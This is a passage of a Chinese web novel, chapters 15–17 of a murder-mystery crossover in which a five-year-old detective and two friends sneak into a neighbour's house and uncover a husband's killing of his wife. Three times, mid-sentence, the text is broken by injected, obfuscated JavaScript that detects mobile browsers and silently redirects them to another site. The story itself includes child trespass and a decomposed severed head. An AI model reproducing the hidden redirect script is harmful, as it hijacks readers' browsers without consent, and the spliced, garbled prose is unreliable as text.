两人带回自己家,有栖川家常年无人在家,所以是三个孩子放飞自我的好地方,有什么不愿意让大人听到的悄悄话都会聚在有栖川家说。 “柏田家出现新的疑点了,首先,柏田先生不在家。” 黑尾铁朗:“也许他出去应酬了?爸爸说晚上回来总会遇到柏田先生。” 黑尾先生也是一个兢兢业业的社畜,虽然一表人才雷厉风行的模样,其实每天使出浑身解数跪舔客户,喝得烂醉回家,周围邻居总能听见黑尾爸爸酒后的哭号声,不知道黑尾妈妈是不是因为这样才跟他离婚的。 孤爪研磨:“也许他去和出轨对象约会了。” “不知道,但是我猜测,柏田清枝也不在家。” “什么?我们刚刚不是才听到清枝姐姐的声音吗?” “对啊,是隔着门铃听到声音,不是看到她出现在我们面前说话。”说着,蔻蒂就做了一个简洁明了的实验。 她用手机录了一句“爸爸妈妈不在家,请明天再来”的话,让研磨拿着等在家里。然后自己和黑尾出去按响门铃。为了蔻蒂一个人在家的安全性,有栖川家装的也是可以对话的门铃。随后就出现了,蔻蒂人在门口,而蔻蒂的声音仍旧能从门铃话筒里传出,和访客对话的场景。 这个手法其实很简单,但黑尾和研磨之前从来没有想到过这一点,仍旧震惊不已。 “那,那清枝姐姐家里,现在有一个人在偷偷伪装成她吗?”黑尾很担忧,“可是,这样也没有办法完全和人对话吧,对方说什么是不知道的呀,而且那样岂不是要录好多声音?” 黑尾铁朗虽然和两个伙伴比不是那么敏锐,但他可一点都不笨。 “所以,你们不觉得刚才的柏田清枝说话的方式有些奇怪吗?她的话前后语气完全不一致。” “有吗?” 研磨和黑尾对视一眼,他们俩听不出什么语气不一样。 蔻蒂脑子转了转,她现在发现,将推理解释清楚比自己推理出答案还要难,可这是侦探的必修课,新一哥哥说,解释得越好越高深莫测,越能装逼。 “就说一点,什么人会通过门铃对不认识的人说‘我肚子好疼’,这句话听起来太亲密了,像是柏田清枝和身边人说话被截取的一段,否则她应该说‘我身体不适’之类的。” 两人恍然大悟后,更加迷惑了。 柏田先生不在家,清枝姐姐也不在家,那么弄成语音留言或直接拒听不就好了,为什么要做这么复杂的事。 对于这件事,蔻蒂有很多猜测,但没有足够的证据支撑,还需要去仔细寻找一下。 “我们去柏田家看一看吧。” “诶?”黑尾惊讶的是去柏田家。 “诶!”研磨惊讶的是我们。 “门口的门铃上应该改装了摄像头,快走,趁现在没人,我们从后面围墙翻进去。” 有栖川蔻蒂雀跃的语气让两人以为是要去玩什么有趣的游戏,被她坦然的语气蛊惑了一会,回神时已经站在了柏田家围墙的墙根下。 怎么办?他们不会被抓起来吧! 15.血色绣球花杀人事件(四) 这应该是一件坏事,虽然不知道明确说出怎么坏,但在场的都已经是小学生了,研磨和黑尾他们俩是年纪小不是傻,怎么会就这么轻松地被小伙伴蛊惑了去翻墙。 “莉亚,我们走吧,随便进主人家不好。” “莉亚,想其他的办法调查吧,这样会被人看到的。” 两人左一句有一句劝了半天,有栖川蔻蒂不为所动,柏田家她今天是一定要进的。 “不用担心,就算被抓住了,我们又没有偷东西,警察和柏田先生也没办法拿我们怎么样。”蔻蒂叉着腰轻松地说道。 ……有道理啊,研磨和黑尾还没有被污染过的纯洁之心在摇摇欲坠,不得了,感觉再往前迈一步就会是深渊。 “而且,什么都没发现,那可能会被骂,但如果……我们找到什么关键性证据了呢?那可是大功一件哦~” 有栖川蔻蒂在两人耳边“恶魔低语”,精准的拿捏着他们各自的痛点。 “研磨,阿姨知道了说不定会奖励你今年特别想买的GBA。” “小黑,如果被报道的话,也许可以学校可以特许你提前加入排球社团吧?” 蔻蒂的声音极其具有蛊惑性,还没有经历过多少诱惑的两人瞳孔都放大了,痛苦地抱住脑袋掩耳盗铃,想要用隔绝声音来隔绝诱惑。 可蔻蒂怎么会让他们“得逞”,她趁热打铁,使出致命一击。 “我怀疑柏田清枝已经死了。” 研磨和黑尾猛地抬头,他们第一反应是愤怒,很想质问朋友为什么要胡说,可看向蔻蒂,她平静的表情让人心底一凉。 是啊,莉亚从来不会拿案子开玩笑就像黑尾铁朗对排球的认真执着一样,有栖川蔻蒂对待案子除非有了十足的把握,否则不会贸然说出来。 两人小声抽泣了一会,黑尾难过地用袖子擦了擦眼睛,可眼泪还是止不住向下掉,他哽咽地走到墙边半蹲着:“来莉亚,我推你上去。” 蔻蒂和研磨踩着黑尾的手扒住了围墙边缘,用胳膊把自己撑上去坐在了围墙上然后两人各伸出一只手去拉还在下面的黑尾。但凡他们三个玩半个月开始练排球,这围墙都上不去。 柏田家的围墙边都靠着花架,想要不留痕迹地潜入,三人就得趴在围墙上绕道前面的大门找到空位跳下去。 刚才在上面蔻蒂已经将柏田家的全貌都看了一遍,花园中乍看没有什么问题,只是好像这些花都疏于照顾有些蔫巴,看起来什么精神。 花园的花实在太多看起来眼花缭乱的,转了一圈没有发现。时间紧有栖川蔻蒂决定直接放弃外围,进房子里看看。绕了一圈,前门和后门都上了锁,厨房的窗户也打不开。她原以为柏田先生眼下黑眼圈都挂到嘴角的样子,肯定会对这些琐碎事情有疏漏,没想到防备得这么严实,那么房子里说不定就有足够重要的东西需要保护。 “莉亚,怎么办,要撬锁吗?”黑尾已经调整好心情,准备帮莉亚找出证据,给清枝姐姐报仇,他期待地问着,电视上不都这样演的吗?来无影去无踪的宝石大盗,用发夹在锁孔里捣鼓几下就能打开了。 这是孩子们最近最喜欢看的动画片,据说《宝石大盗》还是根据真人故事改编的呢,铃木财团进军文娱业的开山之作,由铃木二小姐为其偶像“怪盗基德”倾情打造。 “……?你会?” “你不会?” 蔻蒂对黑尾伸出自己的手掌,五个手指又短又圆,委婉地提醒他:“我才五岁。” 她还是个孩子呢,再怎么厉害也不能五岁就熟练掌握溜门撬锁吧?就算是土生土长的米花市民也不能! “那我们怎么进去?” “那里。”蔻蒂带两人来到一扇小窗户下,窗户位置很高,要抬起头来看。 这是卫生间的通风窗,很小,一个正常体型的成年人绝对不能从中通过,所以也没什么人会去特地锁上这一扇窗户。可谁叫这一次偷偷潜入的是几个孩子,这个入口简直是天然为他们打造的。 唯一有些麻烦的是窗户太高了,比围墙更高,没有办法用刚才的方式上去,不过…… 敏锐地接收到两人不怀好意的视线的研磨:? 照例是黑尾借着年龄大一岁,身高高一点抢先一步跑到墙根边蹲下,这一次他面对着墙。 研磨还没转过弯来就听见黑尾大喊一声:“来吧研磨,我可以的,不会把你甩下去!” 小黑你到底哪来的自信,你说了以后感觉就一定会被甩下去啊! 研磨拒绝这种冒险的行为,连连摆手:“不可以,你不可以,我也不可以。” “他不愿意,小黑你把我扔上去吧,像马戏团杂技表演那样。” “那也不可以!!!” 见蔻蒂都准备助跑起跳了,研磨赶紧制止,认命地爬到黑尾的肩膀上充当阶梯第二层。小手抠着房子外墙的一点点砖缝不敢放开,他不信任自己,更不信任小黑。 很久以后再回过头去看,三人自己都觉得难以置信,小时候是怎么有勇气在毫无保护措施的情况下做到的。仗着无知所以无畏,有一股子牛劲,精力多的不知道往哪使去了。 “还差一点,小黑,你还能再高一点吗?” “哦,那我跳一下试试。” 研磨震惊,你是说我们三个都跟板栗仔一样叠起来了,你还要带着我们一起跳? “别动!”他着急地按住下面黑尾的头。 慌乱下黑尾的头发被按下去挡住眼睛,吓得黑尾下意识动了几步,三个人就像有些化了的三球冰淇淋,上面两颗“球”摇摇欲坠。蔻蒂和研磨一起把身体向前倾,挽回了一些失控的重心,三人惊险地重新趴回墙上。 “小黑你别动了,还是我跳一下吧。” “哦哦。” 你也不许跳!研磨感觉自己脑袋突突得疼,一上一下两个人隔着自己直接商量好了,根本不给他一点插话的机会。 有栖川蔻蒂现在是坐在研磨肩上的,她准备慢慢站起来,因为没有别的支撑点,只能将手安在研磨的脑袋上,胡乱地揉搓。好在蔻蒂站起来后发现高度够了,没有在说什么要“跳一下”这种惊悚的话。 她扑腾着推把自己从小小的窗户塞进去,刚刚好好,再多长一圈肉都得卡住。折腾了一圈,三人总算成功潜入了柏田家的房子。 也许是因为柏田清枝是个插画师,房子内的装修也是由她设计的,风格和外面的花园一致,温馨、柔和,暖白色的墙面配上浅色木制家具,处处都能看出设计者对家庭的期望。 研磨和黑尾不知道到底要寻找一些什么,所以留下了比较敏锐的研磨和蔻蒂一起寻找证据,黑尾在门口望风。时间有限,有栖川蔻蒂挑选着看了几个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15046222|160904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地方,柏田清枝的工作室,厨房和两人的卧室。 工作室应该是这家最乱的地方,画材稿件胡乱摆放,除了画架的周围,几乎没有下脚的地方,墙上用美纹纸沾满了各色的纸张,很多看上去都不是完整的一幅画,更像是一些随手画下的手稿。没有装裱,只是在右下角署上了清枝的罗马音以及日期。 “研磨,帮我找出最近半年的画作。” 太凌乱了,即便有什么关键证据短时间也找不到,只能粗略地过一遍,将这里交给研磨,有栖川蔻蒂找到了柏田夫妇的卧室。床上放着两条被子,对于年轻夫妻来说不常见,但也不足以证明柏田夫妇感情破裂,也许只是其中一人睡觉时有怪癖。 两边的床头柜一边放着唇膏、护手霜、发卡等零碎的小东西,另一边放着几本书和折叠起来的报纸,看起来没什么奇怪的地方。如果不是抽屉拉开,里面满满当当放着许多药的话。 刚才在楼下,蔻蒂看到了医药箱就放在玄关,基本的常用药应该都在里面,那这些都是谁吃的?又有什么用处?蔻蒂背下几种药名,准备回去问问春生法医。 再回到工作室时,研磨已经将这半年的画稿寻找整理出来,按顺序排放好。非常明显,即使是他们俩这样不懂艺术鉴赏的小孩子,也能看出从三个月前开始,柏田清枝的画风就有了非常大的变化,笔触向下,颜色也由前面的温暖轻松的颜色变得暗沉忧郁,蓝色的比例逐渐增多。就像孤爪阿姨说过的那样,蓝色代表见异思迁。 “没了?” “嗯,最后一个张画的时间是在一个半月前。” 意料之中,柏田先生可以用尽手段伪造柏田清枝仍旧或者的假象,但要造假画作,不光容易被追查到交易过程,而且光是画风难以找到仿制得一模一样的画师。 这下几乎能确定柏田清枝已经出事了,只不过光凭眼睛看实在找不到证据,整间房子一尘不染,就连玻璃都干净得没有一个指印。显然是最近被临时清理过,一个月,都够把地板全部换一遍的了。 蔻蒂还是去厨房转了一圈,本来不抱希望,但真让她发现一点端倪,厨房刀架上的刀具似乎少了一把。一把刀一个插槽,而现在有一个插槽空着,插槽的边缘却有划痕,这里之前是有东西的,而且这插槽的形状很不一样,更宽更厚一些,恐怕是砍骨头的。 失踪一个月,砍骨刀,年轻女尸。巧合过多就不是巧合了,蔻蒂觉得有必要坐车去一趟警视厅探班。 “差不多了研磨,我们快走吧。” “好……唔!” 孤爪研磨撞到了沙发旁的边几,上面掉下来一个相框,有栖川蔻蒂将相框拾起,这是她第一次见到柏田清枝的真容,一个像流水像云朵一样温柔的女人。 她的记忆很好,只扫过一眼,却知道这相框是倒扣在边几上的。相框掉下来后,露出了压在底下的一个本子,一本同样把绣球花花瓣夹在封层里做装饰的本子。、 粉色的花萼粘成了一个爱心形状,紧密地团在一起,乍看倒是像还没摘下来的样子。 她打开本子的第一页,发现这是一本日记。 5月27日周日阴 【镰仓的绣球又开了,义纪,今年的花开得不好,雨水太多。家里多余的伞放在储藏室最下面的箱子里,下次记得带两把伞,把女孩子一个人扔在雨里她会怨你的。】 16.血色绣球花杀人事件(五) 6月2日,土曜日,晴 【下午清理了黄叶,蹲的时间有些久,一下子没能站起来。以后就不修花了吧,本来就是将人的审美强加给它,再精心的布置也显得刻板了一些。】 6月24日,日曜日,多云 【午睡时惊醒,梦见五年前第一次见到你的模样,那会的义纪好像比现在开心的多,是因为我吗?如果没有遇见,是否一切都会变的不一样……】 7月19日,木曜日,阴 【花园里桔梗花开得很好,好得香味熏人,我将它们拔出来送了出去,都是好几年的老苗了,柏田义纪,我真的好恨你。】 7月30日,月曜日,晴 【快了,夏天已经过去了一半,这样的日子就要结束了,今年的夏天实在是比往年更难熬些,道路那边应该就会轻松点吧。】 …… “研磨,莉亚,快走,柏田先生回来了。” 黑尾铁朗很聪明,车库里没车,那回柏田家就走不了其他小路,于是他就守在大路的路口,一看见柏田家的车出现,就抄近道跑回来报信。 有栖川蔻蒂还在翻看柏田清枝的日记,研磨叫了两声没有回应,直接把她手里的日记拿走放回原位,拉着人赶紧跑。 三人原路返回,出去比进来容易,爬上几个高一点的花架华乡就翻了出去,情况紧急,也管不了会不会留下痕迹,虱子多了不怕咬,反正柏田义纪回来以后看到门没有锁上肯定会产生疑问。他要是报警那警察来了一看也没发现有什么损失,肯定会不了了之。他要是不敢声张,那就更显得他心虚,不愿意让外人进到家里去。 从柏田家跑出来后,黑尾被奶奶拎回家吃饭,蔻蒂和研磨也被孤爪妈妈叫回去,让他们别乱跑了。三人对了眼神约好之后再说,就各自回家,两边的家长一点也看不出三个孩子闷声作妖,搞出了这么多事。 心里想着柏田家的事,有栖川蔻蒂吃饭时都在走神,头脑消耗大,不知不觉抢了好几块苹果派,惹得只吃到一块的研磨投来委屈的眼神都没看见,只有孤爪妈妈恍然大悟,原来这孩子是真的喜欢吃苹果派。 吃完晚饭回到房间,研磨才问:“莉亚,那个本子上写了什么?” “柏田清枝的日记,但是日期只从五月份开始……” “日记有问题?” 有栖川蔻蒂抿嘴不答,她不太确定,只是觉得这本日记很像是柏田清枝刻意写给她的丈夫柏田义纪看的。 三十号那天就是日记最后一篇,日记的内容非常琐碎,东一榔头西一棒槌的。有人写日记是记录每天的生活,有人写日记是将心中的情绪发泄出来,不管是正面的还是负面的。失望,怨恨,愤怒,虽然这些也能从柏田清枝的日记中看出,但始终让人感觉没那么真切,似乎遭受丈夫的背叛对她来说并没有那么生气,倒是多了一些挣扎和释然。 为什么?大人们总说不爱才不在乎,柏田清枝不爱她的丈夫吗?还是说更早之前她就知道这件事了,所以写下日记时情绪并不激荡。 感情在推理中是最不值得用以借鉴和并入逻辑链的因素,每个人的想法不同,意识决定行动,所做出的决定当然也不同,以情感为推理的基础,那实在太想当然了。 有栖川蔻蒂很快放下这条线索,重新将之前的观察发现拿出来。她首先就去询问了在加班的有栖川春生,有关于柏田夫妇卧室那几瓶药的作用。 春生法医刚收拾完,正好有空听乖女儿和他交流专业知识:“我想想啊,有两个一般是治疗腹泻的,一般在药店就可以买到,其他的就复杂了,都是要去医院由医生开出的处方药,是治疗尿毒症的。” “尿、毒、症?”蔻蒂磕磕绊绊重复了一遍这个词。 春生法医又给女儿用她能听懂的叙述讲述了一下这种病症的症状表现和患病时禁忌,而不是治疗方法什么的,他知道自己的侦探女儿更需要一些什么信息。为了能给女儿当好这个“家庭教师”,他甚至一起开始看书学习,拓展自己的知识面,以保持在女儿面前全知全能的完美爸爸形象。 所以如果病患不知道自己患上尿毒症,也有可能是当成普通的腹泻自己买药吃。也许柏田清枝就是这样的情况,这样也能理解为什么她从很早就传出长期腹泻的消息,而柏田义纪后续仍旧拿这个借口来制造妻子仍旧在世的假象。恐怕他并不知道妻子患病的真相,否则不用杀人,尿毒症并不是能完全治愈的,多等几年撇清自己总比动手杀人后的担心受怕要划算得多。 那么柏田清枝日记中的矛盾感就非常合理了,她恐怕也知道自己寿命有限,所以不管对柏田义纪失望也好,仍旧爱得深沉也罢,都无所谓了。只能在日记中“大度”地托付一些后事,好叫柏田义纪能被愧疚折磨得痛不欲生更好了。毕竟柏田义纪没有提出离婚,也图不了柏田清枝饥一顿饱一顿的插画酬劳,肯定是想坐享齐人之福。活人永远越不过死人,能给这对搅合到一起的狗男女添点堵也是好的。 一个更为有趣、鲜活的清枝小姐的形象出现在有栖川蔻蒂的眼前,不是一个温和的柔弱的非常扁平化的女人,她这才有些为一条生命的逝去感到些许惋惜,如果更早一些搬过来的话,她或许也会和研磨、小黑那样,围在清枝小姐身边叽叽喳喳地博关注。 带着一丝无法挽回的遗憾,有栖川蔻蒂安然进入梦乡。 呼呼——明天……去警视厅,妈妈,尸源,找…… 不对!!! 有栖川蔻蒂一大早就惊醒,借助家里的地理优势,光明正大地拿出露营用的望远镜从家里三楼窗户往柏田家的方向看。 车库门锁着,柏田义纪没有出门,还好还好,来得及,他还没有开始转移尸体。 蔻蒂突然意识到,如果自己的推测是对的,柏田义纪将清枝小姐的头颅砍下,其他部分毁坏后抛尸,那么只剩下一个头就好藏很多。彻底破坏动静太大,即使毁坏皮肉也能勉强复原出容貌。所以清枝小姐的头他一定不敢拿出,会藏在家里。昨天他们三个进去转了一圈后,难保柏田义纪不会警觉起来,想要转移头颅。 果然人心里有事就是睡不着觉的,蔻蒂在望远镜里看到柏田义纪也早早地起床,在花园里转了好几圈后才进房子里,没过多久开车出门。 这样看来,头颅就应该是藏在花园里了。可花园很大,还有许多花箱,一块一块土翻开也要找上半天,柏田义纪随时可能回来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15054377|160904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她要快点找到。 在哪?究竟埋在哪? 快一点!要再快一点! 有栖川蔻蒂兴奋起来,这次是一道限时附加题。直接打电话报警,警察慢慢找也可以有结果,可那太无聊了!完美揣测出凶手的意图,像是在现场亲眼见证一样将凶案的细节都重现出来,这是一个多么叫人兴奋的挑战! 隔着镜片将柏田家的每一寸都仔仔细细研究过去,有栖川蔻蒂懊恼自己对花的了解还是太少了。比如什么花味道重可以掩盖臭味,比如什么花驱逐蚊虫,比如什么花的花语代表死亡等等。这些都可能成为柏田义纪埋藏选择的方向,他和清枝小姐结婚这么多年,无形中肯定会受一些影响,改变他的选择。 脑子里好像有什么要破土而出,她就快要抓到了,就差一点,就差那最关键的一个点,肯定有什么已经出现过,但她没有注意到的。侦探的直觉比思维更先一步抵达终点,只需要一个契机去串联起来。 那只花猫又出现了,这一次它没有去案柏田家的门铃,而是上蹿下跳地扑蝴蝶玩,以花猫的身手很轻松就能抓到,可它偏要逗这只蝴蝶玩,蓝色的蝴蝶越飞越低,被一爪子按在了地上不动弹了。花猫觉得没意思,又拨了拨蝴蝶想让它飞起来,漂亮的蓝色翅膀支离破碎,看起来好不可怜。 蓝色,蓝色,蓝色……清枝小姐画了许多蓝色系的画,柏田家的绣球花也是蓝色的,这种颜色最近似乎出现了太多次,孤爪妈妈还想把自己的无尽夏也变成蓝色…… 等等!柏田家的绣球花是蓝色的,那么为什么清枝小姐笔记本上的花萼却是粉色的? 清枝小姐的画室里还有好几本这样的花卉标本本子,里面的花品种很多,一定是在自己家花园摘的。这绣球花的颜色是什么时候变过来的?又是怎么变过来的?象征她的爱情的桔梗花都送人了,她一个心灰意冷,将死之人,还有心情给花调色? 有栖川蔻蒂立刻给春生法医打了一个电话,确认了自己的想法,然后留下一句“叫妈妈快回家,无头尸的头藏在柏田家”就挂了电话。 然后立刻下楼跑去孤爪家和黑尾家的楼下,用小石子往两个小伙伴的房间窗户上砸。 研磨和黑尾精神恍惚地爬起来,看到蔻蒂一脸兴奋地招手让他们出来,立刻想到了应该是昨天的事有了结果。什么也不管地换了衣服就出去。 孤爪夫妇还没起床完全不知道儿子出门了,黑尾家爷爷奶奶起得早看到孙子出门还问了一句,但一听是跟孤爪家和有栖川家的孩子出去玩也就没管。 蔻蒂让研磨从家里“偷渡”三把小铲子出来,带着两人又翻进了柏田家,指着眼前几个绣球花的花箱,小手一挥:“挖吧!” 可怜的孤爪研磨和黑尾铁朗完全不知道自己要面对什么,直到几乎将花箱的土挖空才看到一颗高度腐化,散发着恶臭和黑绿色粘稠液体的头颅。 浑身的血液瞬间凝固,完全做不出呆立以外的任何反应,铲子掉落在地上,惊吓地想要长大嘴巴,又被尸臭给憋了回去。 然而更可怕的是门口传来开门声,面目扭曲,眼珠子几乎要从眼眶瞪出的柏田义纪撕心裂肺地怒吼:“你们在干什么?!!!” 17.血色绣球花杀人事件(完) “叔叔,你瞎了吗?当然是挖尸体。” 虽然时机不对,但孤爪研磨还是想吐槽一句:“他不是真的在问你问题啊!” 有栖川蔻蒂无辜地眨了眨眼睛,黑尾无奈地看着两人,研磨不知道在争辩个什么,莉亚他能不知道柏田先生的意思吗?明显就是在故意气他呢。 果然柏田义纪被愤怒冲昏了头脑,脸涨得通红,脖子上青筋暴起,反应都慢了半拍。 被这么一打岔,黑尾和研磨两人从惊吓中脱离出来,恐怖的画面一闪而过,根本来不及继续恶心。 蔻蒂眼疾手快捡起他们掉在地上的铲子塞回去,用力推了两人一把提醒道:“分开跑,大声叫救火,有人拦就用铲子呼他!” 三人极其有默契,绕开柏田义纪朝三个方向跑出去,蔻蒂左边,研磨右边,黑尾直接踩着花架上围墙跳出去。 小孩子其实跑得再快也比不上一个健康的成年男性,直接开始追赶肯定能抓住一个,但三个孩子分散开来,就给柏田义纪增加了一个需要思考的过程,想着先追谁再到行动这一过程,就足以让三人逃出去一段距离了。 研磨和黑尾成功跑出柏田家,拉长了嗓子大喊起火了,这大概是他们俩除了出生时的第一声啼哭以外,发出的最大的声音了。弄得周围邻居都没反应过来,这是谁家孩子?什么?孤爪家的和黑尾家的?不可能啦,那俩孩子害羞得要命,说话跟小猫似的哼唧。 有栖川蔻蒂则是继续在柏田家跟柏田义纪周旋,男人在三个孩子里选择了她这是蔻蒂早就预料到的,一是她作为唯一的女孩,在人的普遍认知里一定比另外两个孩子好抓,二是她刚才那句话拉了太多仇恨,失去理智的柏田义纪眼里不会看到第二个目标。 太蠢了,蔻蒂绕着房子一边跑一边想着,他不会做着什么挟持人质逼迫警察放他走的打算吧。先不说这样做罪加一等,这样根本没有用处,除非他能时时刻刻把只有自己腿长的人质一直举起来挡住脑袋,否则稍微露出点自己的头,就会多出一个洞。 这时候不趁着警察还没来快点跑,还在这晃悠什么,如果是她就会把头颅带走,抓紧时间找个地方销毁,没有切实的证据,几个孩子的证言算不了什么。 翻滚,折返跑,再加上一点铲子攻击,和柏田义纪比起来,有栖川蔻蒂当然不会用体能弱点去硬碰硬,比之他更为灵活的反应以及精准的预判才是她的制胜武器。没有经过训练的普通人动作明显得就像蛋糕中间的草莓,和蔻蒂在警视厅训练馆里看到的警官对战比都不能比。 柏田义纪一出手她就知道要抓哪,一铲子拍过去打在他的手面上,不说能给他打废了,但绝对很疼。 而且有栖川蔻蒂嘴上也没闲着,一句一句地搞他心态。 “清枝姐姐的日记你看到了对吗?” “知道她不在乎你出轨,叔叔有什么想法?不甘心?还是没面子?毕竟自以为是报复的背叛,在清枝姐姐那完全不值得关心呢~” “你还挺谨慎的,把刀丢了,房子也全部清理了一遍,警察来还真找不到什么血迹,你完全可以说对埋在家里的头颅不知情。” 说到这里柏田义纪的表情似乎有些得意,他也是这么想的,缺少凶器以及找不出第一案发现场,都是他脱罪的可能。 “不过叔叔你还是不够细心,连自己的妻子得了尿毒症都没发现。否则我们也不能” “……什么?” 柏田义纪有些懵,但蔻蒂没有给他反应的时间,立刻施加压力:“柏田叔叔,砍下她的脑袋的时候流了很多血吧,就算是时候洗过好几遍,把衣服鞋子都扔掉还是感觉指缝间有血在流淌……” 与稚嫩可爱的声音截然相反的过于恐怖的话语产生一种强烈的反差,让柏田义纪冒出一身冷汗。 “不过多亏了叔叔你不知道啦,否则我也不能因为尿毒症患者血液呈酸性这一点判断出你把头埋在了绣球花底下,粉色的绣球花遇酸变蓝,从代表幸福美满变成了背叛,真是好巧哦!” 魔鬼,这孩子是魔鬼。柏田义纪觉得可怕极了,加上自己每一次出手都被预判到,压力成倍增加,明明只是一个小女孩,却像面对一座大山,压得他喘不上气。 “但是叔叔你真的都处理好了吗?地板的缝隙、插座的孔洞、家具的连接处,你真的,都、清、理、好、了、吗?” “当然!我把地毯和沙发都扔……” 现在再反应过来已经来不及了,柏田义纪脸色煞白,踉跄几步,无力地跌坐在地上。完了,全都完了。 柏田家的门被踹开,呼哧一下涌进来一大帮人,被研磨和黑尾一嗓子摇来的邻居愤愤举着各种各样的工具冲进来帮忙,被挤在后面的是珠英刑警叫来的附近的巡警,大喊着让一让,但热心的邻居们都没有听见。 “莉亚!你没事吧!” 孤爪和黑尾两家的大人全都来了,对三个孩子自作主张的行为又气又急,来不及把他们俩抽一顿,就赶紧出门救人,看到有栖川家的孩子没事总算松了一口气。 “没事哦,我可是名侦探有栖川!” 虽然有一部分巧合,但是破了这么一件造成了不少社会影响的大案,有栖川蔻蒂的确可以被叫一声名侦探了。 “下次你不许留下了。” 研磨难得对蔻蒂这么生气,他的眼睛红红的,刚才没看到蔻蒂跟着跑出来,他差点以为再也见不到她了。 就算理智知道由他们逃走搬救援更好,蔻蒂让他们走一定有办法应对,但心理的慌乱不是理智能压制的。 黑尾也很生气,想好好骂蔻蒂几句,但他已经止不住泪水了,嗷嗷地抱着有栖川蔻蒂哭。 蔻蒂想解释她其实是想好了计划才来的,被哭得没办法,实在没机会说出口。 巡警先生终于挤出人群,戴好帽子来到有栖川蔻蒂面前:“你就是真田警官的女儿吧,真田警官一会就到,他就是嫌疑人柏田义纪?” “嗯,他就是最近那起无头尸案的真凶,死者是他的妻子柏田清枝,丢失的头颅在那边挖开的花盆里,第一现场是客厅的沙发边上。” “啊,嗯?” 巡警其实并不知道具体情况,一开始还感叹着真田警官家的孩子小小年纪说话条例就这么清晰,听到后面越听越震惊,这居然就是凶手?凶手就在我辖区?之前柏田家的排查就是他来做的,当时可一点都没看出端倪来。巡警唏嘘地把人都赶出去保护现场,突然有种自己也参加了大案的感觉,这几周跟人喝酒可有的吹了。 带着搜查一课警员姗姗来迟的真田珠英第一件事就是拎着女儿去给隔壁两家赔罪,说起来她最近好像老是在做这件事。 这回事太大,真田珠英也顾不了在外面给有栖川蔻蒂留面子了,直接当着两家的面怒斥:“谁允许你擅自调查的,有疑点为什么不告诉我?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15060468|160904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 蔻蒂有理有据地回应道:“可是妈妈你也没有不允许啊,而且你同意我做侦探了。” “……”真田珠英哽住,立刻转换路线,“那你知不知道这件事有多危险,你想要去冒险是你自己的事,但你凭什么将研磨和铁朗也置于危险之中。” 蔻蒂皱起小脸,原来这才是妈妈生气的原因,但她不觉得她做错了。 “最近的交番距离这里2公里,以较低车速,每小时10公里的自行车车速来算,赶过来大概需要十二分钟,就算不使用交通工具,巡警跑过来也不会超过20分钟。而我亲眼看到柏田义纪开车出门,即使临时改变主意立刻回来,街道尽头是单行线,加上掉头的时间也不少于八分钟。” “所以我们至少也有十分钟的安全时间,绣球花箱有四个,如果我一个人挖时间绝对来不及,柏田义纪在今天肯定会转移尸体。一个人挖四个箱子需要二十分钟,三个人同时挖四个箱子只需要六分七秒,妈妈这是最近我学到的应用题,我算的应该没错吧。” 应用题是让你这么用的吗??? 真田珠英一时不知道该先反思哪里的教育出了问题,她女儿这些话乍一听面面俱到,似乎不是一拍脑门就做出的决定,可还是掩盖不了她的莽撞和傲慢。 “如果巡警和我都不能及时赶到,你们的动作又比预估的慢了怎么办?有栖川蔻蒂,你没有办法保证自己做出的每个判断都是正确的。” “妈妈,我还没有说完。预估时间只是作为一个辅助,和柏田义纪撞上的可能我也想好了。喊救命也许没有人会出来,但是救火的话,多数人为了不烧到自己家都不介意帮一把。住在八号的浅田先生是体育老师,十二号的黑田先生以前是极道,二十六号的原口姐姐是关东地区空手道大赛冠军,而柏田义纪没有任何训练痕迹,随便出来两个成年人都能轻松地制服他。” “最糟糕的情况以上准备都没有实现,那我也能够独自应付柏田义纪,不会让研磨和小黑遇到危险。” 现在看来三重防护都起到了作用,她甚至还提前解决了柏田义纪。 所有大人沉默不语。 真田珠英以为她从未小看过自己这个女儿,现在看来仍旧是低估她了。 全面,细致,井井有条,几乎将所有因素都考虑进去了,甚至是道路状况和人类心理。 设身处地想想,作为一个五岁的孩子,不会做得更好了,甚至许多成年人都比不上。 所以蔻蒂并不能理解她的担忧和愤怒,因为在她看来这和计划一次露营春游没什么区别,只是活动内容更刺激了一些。 真田珠英一直害怕蔻蒂的天赋会给周围人带来压力,产生无形的壁垒,没想到现在她先感受到了。 天才的思维和普通人无法共通,无力像潮水般涌来,她也是第一次做母亲,她不知道该怎样做了。 黑尾铁朗突然冒出来和孤爪研磨一起,一人一边牵住蔻蒂的手。他们把蔻蒂紧紧的夹在中间,像个汉堡包似的。 “真田阿姨,你不要骂莉亚好不好,是我们自己要去的!” 